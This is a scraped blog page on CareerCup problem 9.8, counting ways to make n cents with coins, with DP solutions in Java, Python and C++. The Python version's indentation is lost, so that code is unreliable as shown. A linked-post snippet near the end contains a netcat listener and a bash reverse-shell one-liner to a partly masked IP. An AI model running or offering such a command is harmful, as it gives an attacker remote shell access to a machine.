[CareerCup] 9.8 Represent N Cents 组成N分钱
9.8 Given an infinite number of quarters (25 cents), dimes (10 cents), nickels (5 cents) and pennies (1 cent), write code to calculate the number of ways of representing n cents.
给定一个钱数,用quarter,dime,nickle和penny来表示的方法总和。
Java:
public class Solution {
    /**
     * @param n an integer
     * @return an integer
     */
    public int waysNCents(int n) {
        int[] f = new int[n+1];
        f[0] = 1;
        int[] cents = new int[]{1, 5, 10, 25};
        for (int i = 0; i < 4; i++)
            for (int j = 1; j <= n; j++) {
                if (j >= cents[i]) {
                    f[j] += f[j-cents[i]];
                }
            }
        return f[n];
    }
} 
Python:
class Solution:
# @param {int} n an integer
# @return {int} an integer
def waysNCents(self, n):
# Write your code here
cents = [1, 5, 10, 25]
ways = [0 for _ in xrange(n + 1)] ways[0] = 1
for cent in cents:
for j in xrange(cent, n + 1):
ways[j] += ways[j - cent] return ways[n]
C++:
class Solution {
public:
    /**
     * @param n an integer
     * @return an integer
     */
    int waysNCents(int n) {
        // Write your code here
        vector<int> cents = {1, 5, 10, 25};
        vector<int> ways(n + 1);
        ways[0] = 1;
        for (int i = 0; i < 4; ++i)
            for (int j = cents[i]; j <= n; ++j)
                ways[j] += ways[j - cents[i]];
        return ways[n];
    }
};    
C++:
class Solution {
public:
    int makeChange(int n) {
        vector<int> denoms = {25, 10, 5, 1};
        vector<vector<int> > m(n + 1, vector<int>(denoms.size()));
        return makeChange(n, denoms, 0, m);
    }
    int makeChange(int amount, vector<int> denoms, int idx, vector<vector<int> > &m) {
        if (m[amount][idx] > 0) return m[amount][idx];
        if (idx >= denoms.size() - 1) return 1;
        int val = denoms[idx], res = 0;
        for (int i = 0; i * val <= amount; ++i) {
            int rem = amount - i * val;
            res += makeChange(rem, denoms, idx + 1, m);
        }
        m[amount][idx] = res;
        return res;
    }
};
类似题目:
[LeetCode] 322. Coin Change 硬币找零
CareerCup Questions List 职业杯题目列表
[CareerCup] 9.8 Represent N Cents 组成N分钱的更多相关文章
- [CareerCup] 9.8 Represent N Cents 美分的组成
		9.8 Given an infinite number of quarters (25 cents), dimes (10 cents), nickels (5 cents) and pennies ... 
- [LeetCode] 518. Coin Change 2 硬币找零 2
		You are given coins of different denominations and a total amount of money. Write a function to comp ... 
- CareerCup Questions List 职业杯题目列表
		网站 www.careercup.com 上的题库列表 # Title Difficulty Company 1 Guards in a museum Hard F, G 2 Bomberman H ... 
- CareerCup All in One 题目汇总 (未完待续...)
		Chapter 1. Arrays and Strings 1.1 Unique Characters of a String 1.2 Reverse String 1.3 Permutation S ... 
- [CareerCup] 9.10 Stack Boxes 垒箱子问题
		9.10 You have a stack of n boxes, with widths w., heights hir and depths drThe boxes cannot be rotat ... 
- CareerCup All in One 题目汇总
		Chapter 1. Arrays and Strings 1.1 Unique Characters of a String 1.2 Reverse String 1.3 Permutation S ... 
- [LeetCode] Coin Change 硬币找零
		You are given coins of different denominations and a total amount of money amount. Write a function ... 
- [LeetCode] Coin Change 2 硬币找零之二
		You are given coins of different denominations and a total amount of money. Write a function to comp ... 
- Leetcode 322.零钱兑换
		零钱兑换 给定不同面额的硬币 coins 和一个总金额 amount.编写一个函数来计算可以凑成总金额所需的最少的硬币个数.如果没有任何一种硬币组合能组成总金额,返回 -1. 示例 1: 输入: co ... 
随机推荐
- PHP命令行执行文件或代码
			Linux环境 1.执行代码 php -r "echo 'hello';" (注意加分号,与PHP文件一样) 2.执行文件 php -f 文件所在路径(/var/www/xxx. ... 
- 查看java的jar包源码
			1.jd-gui (windows环境) 下载地址 https://files.cnblogs.com/files/indifferent/jd-gui-windows-1.5.1.zip 下载并解压 ... 
- 项目发布到tomcat后,通过项目名称访问报404
			查看tomcat发布地址发现和项目名称不一致 如果直接拷贝项目,可能也需要修改此选项 解决方案: 经过排查发现了原因: 首先说明一下项目 Maven+SSM 需要使用到 maven tomcat 7 ... 
- 性能测试学习第十天-----性能案例分析之CPU消耗过高&响应时间较长
			一.现象 /pinter/case/cpu?type=1 使用google的gjson.tojson性能较差 type=2 使用性能好的阿里巴巴的fastjson库 压测过程中,发现应用服 ... 
- 【随记】Sql Server 2008 R2 备份时“无法打开备份设备”
			如下图所示,在执行SQL一个简单的备份命令时发生下面的错误 可能的原因: 1.文件夹权限问题: 2.Sql Server SQLServer服务器用户策略问题: 问题排查: 1.查看了temp文件夹, ... 
- Ubuntu -- 反射shell  nc
			攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ... 
- 如何提高工具开发和数据分析的效率?| jupyter | Rstudio server
			这部分是超级干货,也能直接体现一个开发分析者的能力. 主要分为两部分: 1. 面对新问题时,如何高效的分析和开发? 2. 面对相似的问题时,如何最快时间的利用之前的开发经验? 因为现在我主要用shel ... 
- Java 8 新特性总结
			一.Java 8 Lambda表达式 Lambda表达式,也称为闭包,它是推动Java 8发布的最重要新特性. Lambda允许把函数作为一个方法的参数(函数作为参数传递进方法). 1.1 语法 使用 ... 
- Java实现简单RPC框架(转)
			一.RPC简介 RPC,全称Remote Procedure Call, 即远程过程调用,它是一个计算机通信协议.它允许像本地服务一样调用远程服务.它可以有不同的实现方式.如RMI(远程方法调用).H ... 
- 微信小程序不同机型的兼容布局解决
			因为小程序是以微信为平台运行的,可以同时运行在android与ios的设备上,所以不可避免的会遇到布局适配问题,特别是在iphone5上,因为屏幕尺寸小的缘故,也是适配问题最多的机型,下面就简单介绍几 ... 
